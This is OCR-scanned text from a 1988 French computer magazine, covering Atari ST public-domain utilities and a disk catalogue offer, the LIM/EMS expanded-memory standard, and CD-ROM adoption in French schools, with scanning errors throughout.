disquettes, seul Fichiers (Station Infor- 
matique) est réellement efficace, en 
dehors de l'utilisation d'un disque vir- 
tuel. Pour formater une disquette, on 
peut faire appel à l'utilitaire du bureau 
ou choisir une autre solution parmi les 
nombreux formateurs du domaine pu- 
blic (Superformat, Twister, etc.). 

La réparation des disquettes endom- 
magées se fera avec X-Util (domaine 
public) ou un éditeur disque plus classi- 
que (Dust d'Hippopotamus, Raid de : 
IWS ou Kissed de Michtron) . Le disque 
dur s'initialisera automatiquement avec 
HDBoot, augmentera ses capacités avec 
Folder 100, s'accélérera avec Turbodos, 
un programme dont on ne peut plus se 
passer dès son installation. Password 
crée des clés pour protéger l'accès des 
fichiers, Backup ou Turde facilitent les 
copies de sauvegarde, et DPC installe 
des logiciels protégés. Tous ces pro- 
grammes sont disponibles en domaine 
public. 

LA COMMUNICATION 

En ce qui concerne la communication 
modem, les utilitaires Atari respectent 
pour la plupart les standards déjà éta- 
blis. Toujours dans le domaine public, 
Kermit et Xmodem demeurent indis- 
pensables. A côté du VT100 d'Atari, 
Flash d' Antic domine largement la pro- 
duction traditionnelle. Ces quatre logi- 
ciels transmettront des données à travers 
n'importe quel câble et modem (y 
compris celui du Minitel) dans n'im- 
porte quel mode et à n'importe quelle 
vitesse... 
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LE RENDEZ-VOUS 
DES ATARIstes 

Messagerie, forum, 
consens te' 
actualités. 
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FESTIVAL ATARI 

Edition spéciale! A l'occasion de ce panorama des applications 
professionnelles disponibles sur l'Atari ST, l'ensemble de notre 
catalogue Feed Oi / ST, disquettes ST 1 à ST 12, est réédité. 

Attention! Cette sélection d'utilitaires, d'aplications et de jeux 
versés dans le domaine public vous est proposée pendant une 
durée limitée. Pour être honorée, votre commande doit nous 
parvenir impérativement avant le 15 juillet 1988. 
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ST 1 AccBssoires de bureau 

e PRG Utilitaire Mise à jour de la 
i date et de l'heure de l'horloge interne 
(source). Breakout ACG Jeu Casse-bri- 
ques en accessoire de bureau. Calculât 
ACC Utilitaire Calculatrice classique. 
HPLike ACC Utilitaire Calculatrice du type 
HP, rotation polonaise inverse, accès - 

e bureau. Calendri ACC Utilitaire 
Calendrier en accessoire de bureau. 
Montre ACC (Mfe/7i? Horloge digitale en 
accessoire de bureau. Maison PH6 Utili- 
taire Monochrome Une maison animée en 
trois dimensions (source). XLisp Pro- 
grammation source Un langage Lisp avec 
documentation anglaise (Version 1.7). 
Memlibre.ACC Utilitaire Donne la mé- 
moire libre du ST. 

ST 2 Programmation 

XLisp.C Programmation Les 23 fichiers 
sources écrits en C de Xlisp version 1 .7. 
Make512.T0S Utilitaire Reconfigure le 
1040 ST en 520 ST afin de lire lesfichiers 
spécifiques 520 ST. MakelMB.TOS Uti- 
litaire Reconfigure le 1040 ST a 1 Mo. 
Loupe.ACC Utilitaire Un zoom accessible 
à tout moment, en accessoire de bureau. 
OthBllo.ACC Jeu Le classique jeu 
d'Othello reversi en accessoire de bu- 
reau. Dafhak.PRG Utilitaire Source GFA 
Supprime les fichiers BAK générés par 
des logiciels comme First Word et Basic 
GFA. Dirprlnt.PRG Utilitaire Source GFA 
Imprime sur papier le catalogue de l'uni- 
té A: niveau principal eîsous répertoires. 
DsgasNeo.PRG Graphisme Source GFA 
Conversion de fichiers Degas en fichiers 
Néochrome et réciproquement. 
Baiser. PU Image Une image sous Degas 
de Jean-Yves Corre. 

ST3 Editeur de texte 

MrcroEMACS Editeur 21 fichiers conte- 
nant 2 versions de MicroEMACS. Traite- 
ment de texte SOcolonnes avec spoule 
d'imprimante. 

ST 4 Graphisme 

Néo.PRG Graphisme Couleur Logiciel 
Néochrome 0.5. Documentation 
française. Slldeanl.PRG Graphisme Cou- 
leur Programme permettant de faire défi- 
ler des images au format ME0. Dors 



BEE 



Utilitaire Source GFA Eteint l'écran et des- 
sine des étoiles, ce qui épargne le tube 
cathodique. Boink.PRG Graphisme Cou- 
leur La célèbre balle qui rebondit sur 
['écran du ST. Double. PRG Graphisme 
Graphisme monochrome et couleurs. 
Source en C. GFABASRO.PRG Program- 
mafto/iRun-Only permettant d'utiliser les 
programmes écrits en Basic GFA. 

ST 5 Compression de fichiers 

FïoadV2.PRG «/tore Accélère la lecture 
sur disquette. El isa.lDS Réflexion L'ordi- 
nateur psy. Panic. PRG Jeu Soume Des 
soucoupes vous attaquent. 5TSQ.TTP 
Utilitaire Compression de fichiers. 
Stusq.TTP Utilitaire Décompression de 
fichiers. Gobang.PRG Jeu Monochrome 
Un jeu de Go. Lachsack.PRVG Son At- 
tention, le rire est contagieux. 

ST 6 Utilitaires 

TinytooLACC Utilitaire Exploration mé- 
moire et disquette en accessoire de bu- 
reau. Minas. ACC Jeu Un labyrinthe en 
accessoire de bureau. BicalcV2.ACC 
Utilitaire Une calculatrice en accessoire 
de bureau. Surf a ce. PRG Graphisme Mo- 
nochrome De belles courbes. 
SuperFMT.PRG Utilitaire Logiciel de for- 
matage rapide. Manlac.PRG Jeu Source 
Monochrome Les gloutons vous 
poursuivent. Masterl.PRG Jeu Source 
Un jeu de Mastermind. Macgem.PRG 
Graphisme Source Le ST prend l'appa- 
rence d'un Mac, mais là s'arrête la com- 



ST 7 Disques virtuels 

Arc Utilitaire Compactage et archivage de 
tout fichier. Autocopy Utilitaire Automa- 
tise la copie de fichiers sur disque virtuel. 
Automate Utilitaire Automatise une utili- 
sation de la souris. Ram-Auto Utilitaire 
Série de programmes créant automati- 
quement un RAM disque virtuel. 
Spoolers Utilitaire Série d'accessoires et 
de programmes créateurs de spoule 
d'imprimante. Etaroal Utilitaire Créé un 
disque virtuel étemel. Intramdk Utilitaire 
Accessoire qui crée un disque virtuel. 



ST 8 Communication 

Céleste Jeu Couleur Un petit wargame 
spatial. Kermit Communication Le plus 
célèbre des logiciels de communication. 
Monopoly Jeu Couleur Jeu très connu, on 
joue contre 1 à 4 joueur(s) géré(s) par 
ST. Sterm Communication Le standard 
TERM en version ST, Ternur. Communica- 
tion Complément de STERN. 

ST 9 Dessin haute résolution 

Easel Affiche une image Degas sur le 
bureau Gem. Mepblit Logiciel de des- 
sin haute résolution compatible avec le 
format Degas P13. Possède des modes 
de dessin en transparence et en 
superposition. Plcswftch Utilitaire de 
conversion d'images d'une résolution à 
l'autre. Dossier: couvert Utilitaires 
complémentaires de conversion d'ima- 
ges (Art Di recto r, Doodle, Degas, 
Néochrome). Snapshot Utilitaire pour la 
réalisation d'instantanés d'écran, utilisa- 
bles dans un logiciel de dessin. Dossier: 
images Démonstrations dans différents 
formats. 

ST10 Bureautique 

Nawword Un véritable traitement de 
texte en accessoire, accessible depuis 
n'importe quelle application Gem. 
Accantf Incorpore les accents circon- 
flexes et trémas sur des logiciels de 
conception étrangère. Easel Affiche une 
image Degas sur le bureau. Qulcfc Logi- 
ciel de gestion de fichiers qui fonctionne 
hors de l'environnement Gem. 



ST11 

Musi«32 Application Un programme pour I 
éditer des morceaux de musique sur 
deux portées et entendre le résultat sur 
l'ordinateur lui-même. Musix est com- 
plété par treize fichiers. MUX, qui sont 
des pièces de démonstration, de la bour- I 
rée au rock en passant par le tango. 
Mididemo Utilitaire Un programme pour 
piloter la sortie Midi du ST. Il contient 
huit morceaux numérisés et affiche en 
même temps un clavier indiquant les 
notes jouées. Sound-ST Démo Une ani- 
mation simule la présence d'un orches- 
tre de rock dont on entend les instru- 
ments. 




Utilisez [e bon de commande de la page 71 




VAL-REX 

tout autour de 
l'informatique 




Table C, 

un bon moyen 
pour "économiser" en micro 

Pratique. Toute l'informatique à por- 
tée de main... 

La Table C s''aria|>te pariai l-emeur à la ges- 
tuelle informaMime. Idio ini.è.are voire taille 
et votre position tle travail pour un maximum 
de confort. 

Evolutive. La Table C répond à vos 
besoins <!rât:e à ses multiples accessoires : 
chariot support pour imprimante, tablette 
latérale et étagère de rangement pour boîte a 
disqiieli.es, manuel d'instructions... 
En deux temps trois mouvements, elle se 
transforme en poste complet, sans perdre sa 
souplesse il 'utilisation. 
Compacte. MninsdeO.Bm'desurface 

Une telle économie de place dans un bureau, 
c'est un vrai luxe ! 

Mobile. Montée sur roulettes dont deux 
avec frein, la Table C se déplace d'un bureau 
à l'autre en toute sécurité. 



Son a relu te et tire sobre en 
x beiges traités anti-reflets 
lui permettent de se fondre harmonieuse- 
ment dans l'ambiance du bureau. 
Les fils et les câbles de raccordement du mi- 
cro sont astucieusement dissimulés dans les 
montants et à l'intérieur de la "jupe dorsale". 
C'est plus pratique et plus esthétique ! 

M., Mme — — — , — „ — ■■ " 



Adresse 




LES DISQUES VIRTUELS 

ETLESSPOULEURS 

D'IMPRIMANTE 

L'importante mémoire du ST a 
rendu leurs lettres de noblesse à ces deux 
catégories d'utilitaires. Les disques vir- 
tuels installent virtuellement une unité 
de disquettes dans la mémoire de l'ordi- 
nateur. Absolument indispensables aux 
possesseurs d'un seul lecteur, ils facili- 
tent grandement les manipulations de 
fichiers. Certains sont en vente à plus de 
300 F (K-Ram de Kuma Sofrwate) 
d'autres sont gratuits ou presque, 
comme Eternal Ramdisc. Ils sont pour- 
tant relativement similaires. 

Les spouleurs Ebèrent l'ordinateur 
pendant l'impression. Le texte à impri- 
mer se loge dans un tampon en mé- 
moire (une grande mémoire permet 
donc un grand texte), et l'utilitaire gère 
les interruptions pour l'envoi des don- 
nées vers l'imprimante. Ici encore, il n'y 
a pas grande différence entre les pro- 
duits classiques (Spool de Michtron) et 
ce que l'on peut trouver dans le do- 
maine public (Spooler, PSpooi, etc.). 

LES UTILITAIRES GRAPHIQUES 

Les fichiers graphiques occupent 
beaucoup de place sur un disque dur ou 
sur une disquette. On peut les compac- 
ter avec un utilitaire comme Tinystuff 
(réduction de 1 à 80 %) puis les visuali- 
ser avec son comparse, Tinyview. Pour 
convertir une image créée avec un logi- 



Logiciel 




Tous les logiciels cités dans cet articli 
sont disponibles au Glub Station Infor- 
matique, 2, rue Piémontési, 7501* 
Paris, en téléchargement sur Caîvacon 
(3613 code 175040781) ou. dans le 
Feed ST de L'Ordinateur individud I 
l'occasion de ce dossier spécial Atari 
nous rééditons, pour une durée limitée 
l'ensemble du catalogue des disquette 
(12 références) Feed ST. Profitez d- 
cette offre spéciale (t£ p. .179). 



Arkey 

Basic GF A 

BeckerText 

CalcomatPlus 

First Word 

Fteet street Publisher 

Induction 

Publîshing Partner 

Sîgnum 

Superbase 

ZZ-Roùgh 

ZZ-2D 



ciel de dessin quelconque (y compris 
avec MacPaint) en une image Degas ou 
Néochrome, la seule solution rapide et 
satisfaisante reste Rcswitch. Ces deux 
logiciels font également partie de la 
grande diversité de programmes que 
l'on trouve dans le domaine public sur 
Arari ST. Les graphistes y découvriront 
également des accessoires pour faire du 
dessin animé sous Degas, des éditeurs 
de polices de caractères Gem (indispen- 
sables avec rimprimante laser), des 
pieshows (défilement piogrammable 
d'images) er des snapshots (< photogra- 
phies > de l'écran)... sans oublier que 
certains programmes de dessin perfor- 
mants (Néochrome premières versions, 
Master Painter, Public Painter, etc.) 
sont également du domaine public. 

THIERRY PLATON 
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93 
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96 
99 
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101 
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Micro Application 

Micro Application 

Atari 

Fil 

Upgrade 
Upgrode 

Applications Systems 
Micro Application- 
Human Software ■ ■ 
.HumanSoftware 
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LES GRANDES 
NORMES 
DE LA MICRO 



LIM/EMS 



L'ORDINATELÎlî INDIVIDUEL ^'ICH.^UtMSSfi 



l 



Le bon vieux DOS laisse apparaître 
peu à peu ses limites. C'est notam- 
ment le cas pour la gestion de l'es- 
pace-mémoire adressable par une 
application limitée à 640 Ko. Il est 
maintenant certain que cette barrière 
ne « sautera » jamais. Quelques 
échappatoires ont cependant été 
trouvées. 



Les premiers PC, associes au système d'exploitation MS-DOS. 
utilisaient k 1 microprocesseur lnr.fl KOKH. Celui-ci. œnçi sur une 
architecture 8 bits, appartient à la famille 8086 et ne permet 
d'adresser que i Mo t 1 024 Roi de mémoire. Ce sont tes données 
qui on: été prises eu rompre pour réaliser le système d'exploitation 
MS-DOS. La limite de 64(1 Ko de mémoire vive (RAM) accessible 
au système, au programme, ati\ données n'est en fait qu'une 
ton séquence de tes limitations. Les iSi Ko de mémoire restants 
sont réservés au système et utilisés iiar le contrôlent vidéo. Ainsi, à 
l'origine. In barrière. au]ourd'hui tellement ion restée, n'était pas 
seulement due à MS-DOS, mais plutôt au microprocesseur 8088. 

L'apparition des processeurs plus évolués liml H(ij.S6ct M(i3o'6;i 
permis d'utiliser une mémoire vive plus grande : respettivement 
16 Mo pour le premier et 4 Go pour le dernier. Ces processeurs 
fonctioiîocnr selon deux modes. Le mode réel oilre le même jeu 
d'instructions que le 8086, mais présente les mêmes limitations. Le 
mode protégé, lui, favorise l'emploi de toute la mémoire, à la 
condition qu'il soir itère dirtaernenr par l'application et non par le 
système d'exploitation, (être mémoire esr appelée 



étendue :-. MS-DOS fonctionne aujourd'hui avec les 80286 et les 
KO 586. de In même manière qu'avec les premiers microprocesseurs 



LA NORME LIM/EMS 

Pour pallier les insuffisances de la RAM et de la mémoire 
étendue, qui nécessite, on l'a vu, une programmarion particulière, 
trois sociétés, Lotus, Intel, Microsoft, se sont entendues pour 
imaginer une solution parallèle appelée ■' mémoire d extension > ou 
. Expnnded Memory, d'où le nom LIM/EMS pour Lotus Intel 
Microsoft- Expnnded Menton- System. Bien évidemment, un 
programme ne peut être exécuté que si le code correspondant est 
situé en mémoire vive (RAM). Le principe de la mémoire 
d'extension est d'abuser les programmes en simulant un espace 
physique de 640 Ko ou plus. A cette fin, la technique employée est 
appelée « commutation de blocs >. 

Au début de cette année, la version 4.0 dt 1.IM/F.MS a été 
annoncée. Elle va peu à peu remplacer la 3.2, norme la plus 
répandue aujourd'hui avec laquelle la quasi -totalité des logiciels et 
des cartes a été développée. Lille exploite une zone-mémoire 
disponible au-dessus des 640 Ko en commutant un bloc de 64 Ko 
avec la carte d'extension- mémo ire. La version 4.0 s'avère une 
amélioration de la 3.2 et, de la même façon, elle permet d'associer 
de la mémoire fournie sur les cartes additionnelles à des pages de 
16 Ko contigués et situées dans une zone libre entre les 040 Ko et les 
1 024 Ko. 

EMS 4.0 EXTENSION DE LA VERSION 3.2 

Le nombre de quinze fonctions dtsponinlcs dans la version 3.2 a 
été porté à trente, soit quinze fonctions nouvelles. Pour des raisons 
de compatibilité, les quinze premières restenr inchangées. 

Plusieurs fonctions servent à manipuler plus facilement la 
mémoire. Ainsi, la fonction 17H (Map/Unmap Multiple Handle ~ 
Pages) relie, en une seule instruction, plusieurs pages logiques à q 
plusieurs pages physiques, La fonction 18H (Reallocate Pages) ^ 



LES FICHES TECHNIQUES 



VOLUME 1 , SERIE SYSTEMES ET LANGAGES 



LES GRANDES 
NORMES 
DE LA MICRO 



es ateliers comparatifs 



U R MIEUX CHOISI 



.1 uimitnre er diminue dynamiquement le nombre de pages associées 
a un Handle {pointeur sur un pointeur). Avec lu fonction 24H 
iMove/ËMjhan^f Memory Région), il est maintenant possible 
d cflcctuer des rranstens ciiie^s île mémoire a mémoire et ce quel 
que soit son type. Enfin, la version EMS 1.(1 peur yérer 32 Mo de 
mémoire d'exten«on au heu de 8 Mo pour l'ancienne version 3.2. 

De nouvelles fonctions de communication inierprocessus sont 
disponibles avec les fonctions 20H (Get/Set Handle Name) et 
21 H (Get Handle Direct on-). Avec un simple nom tk bandit, deux 
applications peuvent se partager la même zone de données, et celle- 
ci peut se trouver en mémoire des tension. Les fonctions 22H (Alr.tr 
P«gcMapandJump)et23H (Alter Paca; Map and Call] sont tout 
particulièrement destinées à simplifier l'écriture de programmes 
lorsque l'on veut exécuter du code situé en mémoire d'extension. 
Les fonctions 1? (Get/Set Handle Attribute) et 29 (Prépare 
Esaended Memory Hardware for Varm Bnou gèrent la mémoire 
d'extension lors d'un <■, Rcset à chaud s. Certains rianci/c sc-ronr ainsi 
Conserves er restaurés après le Rcset. Les payes associées ne sont pas 
perdues. Enfin, les (onctions 26 a 30 ne seront utiles qu'ans 
développeurs de s\ sternes d'exploitation, l.lles permefiront notam- 
ment de fabriquer des environnements multitâches, 



:n de la ia 



EN PRATIQUE 

l! existe quelques conditions préalables à 
LIM/EMS. 

La première est de disposer d'une carte d'extension- mémoire 
spécialement conçue et étudiée pour cette nonne. Elle doit être 
placée dans le bus d'extension du PC. Au moment de l'initialisa- 
tion., un programme pilote doit être installé. II déterminera la 
version de la gestion-mémoire LIM EMS : ï.2 ou 4,0. 

Enfin, les applications doivent faire appel à cette mémoire 
d csteiisioii er don,- avoir été spécialement écrites pour mettre en 
œuvre la commutation de blocs de LLM.'EMS. Cette norme est 
avant tout destinée aux développeurs de bmclcls qm pourront ainsi 
créer des applications plus complexes, gérer plus facilement la 
mémoire surtout lorsque la barrière dis 640 Ko s'avère proche. La 
mise en œuvre se révèle périlleuse, et elle est réservée aux 
programmeurs- système spécialistes de l'assembleur. 

La norme est aussi suivie par les nombreux constructeurs de carres 
d'ex tension- mémoire EMS. LIM/EMS garantit que "ces cartes 
riitimeroni avec l'ensemble des logiciels. Les nouvel les .mplie,iuons. 
enfin, continueront de iourriunner sur les PC. 

CONCURRENCE 

Avant l'introduction de la version 4.0, LIM 'EMS 3.2 a suscité 

; de nombreuses controverses quanr à ses limitations. Un autre 

; regroupement de sociétés, comprenant AST. Quadram et Ashton 

Tare, a introduit une autre nonne d'exainsion-memoirc améliorée : 



^^— ^ 




LES FONCTIONS DE LA NORME LIM/EMS 




VERSION 4.0 




Fonctions de LIM/EMS 3.2 




1 Gel Status 




2 Gef Page Frame Address 




3 Get Unallocated Page Counf 




4 Alloca(ePage5 




5 Map, Unmap Handle Pages 




ô Deallocate Pages 




7 Gef Version 




8 Save Page Map 




9 Restore Page Map 




10 




1 2 Get Handle Counf 




13 Gel Handle Poges 




14 Get Ail Handle Pages 




1 5 Get, Set Page Map 




Nouvelles fonctions de LIM/EMS 4.0 




1 6 Get, Set Partial Page Map 




1 7 Map, Unmap Multiple Handle Pages 




18 Reallocate Pages 




19 Get, Set Handle Attribute 




20 Get, Set Handle Name 




2 1 Get Handle Directory 




22 Alter Page Mop and Jump 




23 AlterPageMapandCall 




24 Move, Exchange Memory Région 




25 Gel Mappabie Physical Address Array 




Fonctions spéciales 




26 Get Expanood Memory Hardware 




Informalion 




27 Allocaie Standard, Raw Pages 




28 Aternale Map Register Set 




29 Prépare Expanded Memory Hardware for 




Warm Boof 




30 Enable, Disable Operating System 




Environnement 





l'LLMS. Pour des questions de compatibilité, tout logiciel écrit 
peur l'LMS 3.2 peut mettre en oeuvre ITEMS. Celle-ci peut gérer 
une commutation de blocs de lé; ko ci en mampuler ainsi :usqu a la 
totale utilisation de la mémoire, v compris dans la /.une inférieure à 
640 Ko. La LIM/EMS 3.2 est limité à un seul bloc de 64 Ko dans 
la zone de 641) Ko à 1 024 Ko. La version 4.0 de LIM/EMS est la 
réponse à cet état de fait. 

En attendant qu'OS/2 soir totalement opérationnel, les exten- 
sions-mémoires EMS ivprésci cent une boimc .solution d'attente. 
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Mardi 21 juin 1988 - Hôtel Sofitel - 8, rue Louis Armand - Paris 15 e 



Pourquoi fes Ateliers 
Comparatifs? 



Les 5 garanties des Ateliers Comparatifs : 



Aujourd'hui, si vous ères uiilisale.ur ou 
informaticien chargé île choisir un logiciel 
dans un domaine précis uraitcmenis de 
texte, tableurs, bases de données, etc.), vous 
vous trouve/ confronté a un chois difficile 
lace a une ol ire abondante ei diverse 
d'informaiions et de conseils, et le plus 
souvent présentée; de manière incomplète. 



Qu'est-ce qu'un Atelier 
Comparatif? 



) La caution professionnelle de nos revues 
> micro dotu la déonioio.sic implique 

l' impartial ilé muile vis-à-vis des produits. 

(La présentation de chaque produit suivant 
un scénario-' mis au point par les organi- 
sateurs et indépendant de tout souci 
commercial. 



de journée pour miens cerner les avantages 
des produits les uns par rapport aux autres. 
" Une animation réalisée par des profession- 
< nels indépendants, garaniied'un débat 
contradictoire ci objectif. 



L'Atelier Comparatif des "tableurs et grapheurs". 



Les Ateliers Comparatifs de logiciels .ont 
été créés pour compléter les informations 
données dans les revues et ainsi mieux 
répondre au>; besoins des lecteurs, en 
mettant notamment en contact l'offre des 
fournisseurs et les besoins des utilisateurs. 

i Uniques et ori;tinau\ en France, les Ateliers 
Comparatifs oui éie créé-, pour faire le bon 



Décision Informatique. Temps .Vlicro, L'Ordinateur individu? 
logiciels les plus marquants du marché actuel : 



a BuroFomialic ont choisi les 




urnée organisée par le Cabinet BuroFormatic. Pour tout renseignement telepho 
s frais (déjeuner compris) : 2 372 F TTC (dont TVA 18,60% 372 F incluse). Inseriptic 



au 42673545. 

l'aide du bulletin c 




■ : • ' •■ ., ; . . 



BuroFormatic, 1 square du Cèdre. ') I MO Verrières le B 

Journée du 21 juin 1988 : Les tableurs et grapheurs. 



les ateliers comparatifs 

«di*se ■ *>*£:*«- S «si ses. 



□ Je désire m 'inscrire et je joins mon règlement 
de 2 372 F TTC par chèque à l'ordre de 
BuroFormatic. 

□ Je désire recevoir une l'aelure contention* 
et je paierai à réception de celle-ci. 

□ Je désire une documentation. 



FORMATION 



INSCRITE EN PRIORITÉ ABSOLUE POUR LE NOUVEAU SEPTENNAT PRÉSIDENTIEL, LA FORMATION DES HOMMES 



BÉNÉFICIERA DES DERNIERS DÉVELOPPEMENTS OFFERTS PAR LA MICRO-INEORMATIQUE. DE GRANDES ENIRE- 
PRISES ONT OUVERT LA VOIE, APRÈS DIVERSES DÉCONVENUES EN EAO ET L'EXPÉRIENCE IFT, L'ÉDUCATION 



NATIONALE ELLE-MÊME ADOPTE LES GRANDS STANDARDS PROFESSIONNELS ET LE CD-ROM. POUR MIEUX 



RENDRE COMPTE DE CETTE ÉVOLUTION, L'Ol VOUS PROPOSERA CHAQUE MOIS UN CAHIER SPÉCIAL CONSACRE 



AUX NOUVELLES TECHNOLOGIES POUR LA FORMATION DANS L'ENSEIGNEMENT ET EN ENTREPRISE. POINTS DE 
VUE ET CRITIQUES RELATIFS À CETTE PREMIÈRE LIVRAISON SONT LES BIENVENUS SUR LE FORUM DE L'Ol 
TÉLÉMATIQUE(3615, 01). VÉRONIQUE CHARREYRON. 



TENDANCES 
POUR LA RENTRÉE 88-89 



LE CD-ROM ENTRE 
À L'ÉCOLE 



On n'en attendait pas moins 

de cette vénérable 

institution. 

L'Education nationale 

donne l'exemple et se lance dans 

l'aventure CD-ROM. 

Cinq cents établissements seront 

équipés avant la fin 

de l'année. 




L> Education nationale mijote 
une glande première pour la 
centrée en préparant l'arrivée dis- 
crète, mais bien réelle, des CD- 
ROM dans cinq cents à six cents 
établissements scolaires, dotés en 
lecteurs et en programmes. Les 
éditeurs et les constructeurs - qui, 
selon les paroles mêmes du direc- 
teur des lycées et collèges Michel 
Lucius, « nous ont bien taie sentir 
que nous avions un rôle incitateur 
à jouet > - respirent désormais 
avec plus de sérénité. Au-delà de 
l'aspect économique, important 
certes, car il fera certainement 
boule de neige, cette décision mar- 
que surtout un grand pas en avant 
vers la généralisation de l'accès au 
savoir, une notion aussi chère à M. 
René Monory que les simulations. 
Un pas mais non un aboutisse- 
ment. < L'Education nationale dis- 
pose de sources d'informations im- 
portantes mais diffuses >, constate 
M. Lucîus, < nous avons 
commencé à réfléchit sur le CD- 
ROM au mois de janvier, prenant 
conscience de tout ce qu'apporte la 
technologie en termes de concen- 
tration et de diffusion d'informa- 



tions, pour un rapport qua- 
lité/prix séduisant. Nous serions 
très vite limités si tous les centres 
de documentation et d'informa- 
tions devaient acheter l'Encydope- 
diaUniversalis...> 

Pour mettre en oeuvre cette 
politique volontariste, la vieille 
dame a donc débloqué une enve- 
loppe d'environ 3 millions de 
francs destinée à l'équipement de 
ces lycées et collèges. Négociation 
avec les constructeurs ou appel 
d'offres... rien n'est encore défini. 
Une chose est certaine : l'opération 
débutera à la fin 88, accompa- 
gnée, sur le terrain, de stages de 
fotmation pour les enseignants. 
Inutile de dire que ces sites-tests 
seront suivis à la loupe. « Il est 
primordial d'informer les autres 
établissements des résultats obte- 
nus >, insiste Michel Lucius, 
< l'Etat ne peut pas prendre à sa 
charge de tels développements en 
dehots des programmes considérés 
d'ordre national. Nous donnons 
l'impulsion. > D'un autre côté, < il 
faut une certaine continuité en 
matière de politique éducative >. .. 
Bref, la relève doit venir des collée- 




\ 



tivités territoriales. Néanmoins, les 
établissements pourront disposer 
d'autres subsides gouvernemen- 
taux tels que le tout nouveau fonds 
d'innovation pédagogique (déci- 
sion du 9 mars 1988). A la clé, 
200 millions de francs. 

Quelles applications pour le 
CD-ROM éducatif? 

Les applications seront sans 
doute cruciales pout l'avenir du 

< CD-ROM éducatif >■. « L'ap- 
porr peut être considérable, si les 
produits sont bien ciblés >, remar- 
que le directeur des lycées et collè- 
ges. La première approche porte 
sur des produits de type encyclopé- 
dique ou banque de données (éco- 
nomie, biologie/géologie, carto- 
graphie, etc.), diffusant une 
information assez sratique. Ici en- 
core, la grande maison a retenu la 
voie des licences mixtes. Deux ou 
trois contrats setont passés cette 
année après appel aux éditeurs. 

< Si la greffe CD-ROM prend, le 
procédé sera renouvelé tous les 
ans >, promet Michel Lucius, qui 
estime l'investissement à 2 ou 
3 raillions de francs par titre. Les ' 
noms des heureux gagnants seront 
proclamés au mois d'octobre. 

ACT Informatique se place au 
premier rang des « nominables > j 
en multipliant les coéditions : base 
de données lexicographique et dic- 
tionnaire de la langue française 



Un centre de 

documentation 

classique. 

L 'arrivée du 

CD-ROM va 

marquer un 

grandpas 

vers la 

généralisation 

de l'accès au 

savoir. 



avec Hachette ; base anthologique 
littéraire er hisrorique du XVI e ' au 
XIX e siècle avec Cedic/Nathan ; 
base de données économique avec 
Hatier ; et enfin, main dans la 
main avec Cedrom Technologies, 
un pot-pourri des annales des exa- 
mens et concours depuis six ans. 
Les portes sont grandes ouvertes 
quant aux applications du futur. 
< Nous sommes à la naissance de 
quelque chose de nouveau, il y a 
encore une pratique pédagogique 
à développer aurour du média >, 
insisre Alain Elie, chargé du secteur 
innovation pédagogique et techno- 
logies nouvelles. Au sein même de 
l'Education nationale, les projets 
germent. La direction de l'infor- 
mation et de la communication 
donne l'exemple en ptéparant un 
recueil des lois et règlements. 

L'opération CD-ROM ne cons- 
titue pas la première incursion des 
mémoires optiques dans les salles 
de classe. Le vidéodisque s'y est 
déjà cassé les dents. 200 vidéolec- 
teurs en dotation en 1 986 ; à peine 
450 au total aujourd'hui. Le CD- 
ROM ne risque-t~il pas de connaî- 
tre le même destin ? < Si le vidéo- 
disque n'a pas pris l'ampleur que 
l'on escomptait, c'est certainement 
que les utilisateurs n'ont pas 
trouvé les produits qu'ils atten- 
daient (25 titres utilisables et une 
dizaine réellement intéressants aux 



dires d'Alain Elie), ni senti une 
volonté de continuité du côté de 
l'Education nationale >, reconnaît 
Michel Lucius, qui ajoute : < les 
consrrucreurs ne nous ont pas en- 
couragés à poursuivre l'opéra- 
tion, y Enfin, il n'est pas question 
que le CD-ROM devienne un 
matché obligé, comme a pu l'être 
en son temps la machine-outil. 

Licences mixtes : 

45 000 logiciels vendus et 

bientôt une seconde vague 

Alors que tes licences mixtes 
CD-ROM ne sont encore que 
projets, leur équivalent logiciel est 
un beau succès... « pour les édi- 
teurs comme pour les établisse- 
ments >, souligne Alain Elie. Deux 
chiffres parianrs : 21 produits li- 
cenciés, 45 000 produits achetés... 
pour l'instant (la possibilité 
d'achat court sur deux ans). En 
tête du palmarès Turbo-Pascal, 
suivi par Multiplaii et Word. Les 
logiciels sur nanoréseau ne s'en 
tirent pas rrop mal avec une 
moyenne de 1 400 à 2 500 ventes 
par rirre. < Les établissements ont 
compris le message, une véritable 
politique d'achat s'bsraure, et les 
produits sont inscrits à l'inven- 
taire >, insiste Alain Elie. 

La deuxième vague de licences 
mixtes semble partie sous les meil- 
leurs auspices avec 540 projets ou 
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produits déposés provenant de 
200 éditeurs et SSII. Les résultats 
devraient être édités à la fin du 
mois de juin ; pour achat dès le 
début de la rentrée 88-89. Il est 
certain que les critères de choix ont 
sensiblement varié depuis 1987, 
car s'ajustant aux besoins des aca- 
démies. < Les logiciels disciplinai- 
res prennent le pas sur les produits 
professionnels >, constate Alain 
Elie, qui note également un besoin 
pour les intégrés. Parallèlement 
aux licences mixtes, les procédures 
d'achat en nombre (pour des pro- 
duits touchant des formations spé- 
cifiques telles que le BTS médico- 
social) et celles d'expérimentation 
(pour les logiciels un peu prospec- 
tifs, dont l'intérêt pédagogique est 
testé dans les académies) se pour- 
suivrait. Budget total : 25 mil- 
lions de francs en 1988. Sans 
oublier les 45 millions de francs 
distribués aux établissements se- 
condaires pour l'achat de logiciels. 
Le système des licences mixtes 
devrait être poursuivi sur plusieurs 
années. < Il n'est pas dit que nous 
choisirons une vingtaine de logi- 
ciels tous les ans >, complète Mi- 
chel Ludus. Vous l'auiez compris, 
l'évolution ira à la baisse. 

Un concours de scénarios 

Le constat est moins bon pour le 
second concours de scénarios de 
logiciels éducatifs, dont les résul- 
tats viennent d'être publiés. Moitié 
moins de participants en 1988 
qu'en 1987, soit 165 scénarios 
contre 356 l'année précédente. 
< Le délai imparti aux enseignants 
était également réduit de moitié >, 
constate Alain Elie, < il n'ont eu 
que deux mois et demi de travail 
contre cinq en 1987. > Le succès 
mitigé de la première vague de 
logiciels est peut-être aussi à la 
source de cette désaffection. 
D'après une enquête menée par la 
direction des lycées et collèges 
auprès des 34 lauréats primés en 
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1987 (25 réponses), 11 d'entre 
eux auraient signé des contrats 
avec des éditeurs, 4 feraient l'objet 
de promesses de contrats et 5 de 
contrats conditionnels. 

5 544 PC/AT à la fui 88 

Côté hard, c'est la routine. On 
clôture les comptes avec l'achève- 
ment des trois grandes opérations 
nationales de dotation (environ 
une centaine de millions de francs 
dépensés en 1987 et 1988). Cela 
concerne l'équipement des classes 
préparatoires aux grandes écoles 
(647 classes dotées en 1987, 263 
classes en 1988 représentant un 
total de 2 724 micros), la pour- 
suite des équipements en CAO/ 



